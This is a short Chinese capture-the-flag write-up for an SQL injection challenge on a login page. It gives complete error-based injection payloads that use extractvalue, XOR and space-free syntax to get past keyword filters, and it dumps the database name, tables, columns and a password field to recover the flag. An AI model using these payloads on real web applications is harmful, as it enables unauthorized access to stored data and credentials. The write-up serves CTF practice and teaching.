尝试万能密码被逮住
1’ or 1=1#
经过一系列尝试 order by,union select之类的都被过滤
网上别人的write参考了一下,这里是报错注入,用到xpath语法错误中extractvalue
^表异或,这里or and都被过滤了包括替换成&& ||我也试过也不行。
网上了解了下报错注入,这题目extractvalue里select后要加括号(比如下面database()外面加了括号),而正常情况下是不用的,猜测是空格被过滤的原因。
check.php?username=123&password=123'^extractvalue(1,concat(0x7e,(select(database()))))%23
数据库名 geek
接着爆表名
这里用sql中的like操作符替换了“=”
check.php?username=123&password=123'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
geek中有表H4rDsq1
爆字段名
check.php?username=123&password=123'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
爆出数据
extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))))%23
可以看到只有部分
这里用left和right函数可以从左向右,从右向左输出数据
check.php?username=123&password=123'^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))%23
拼接一下得到flag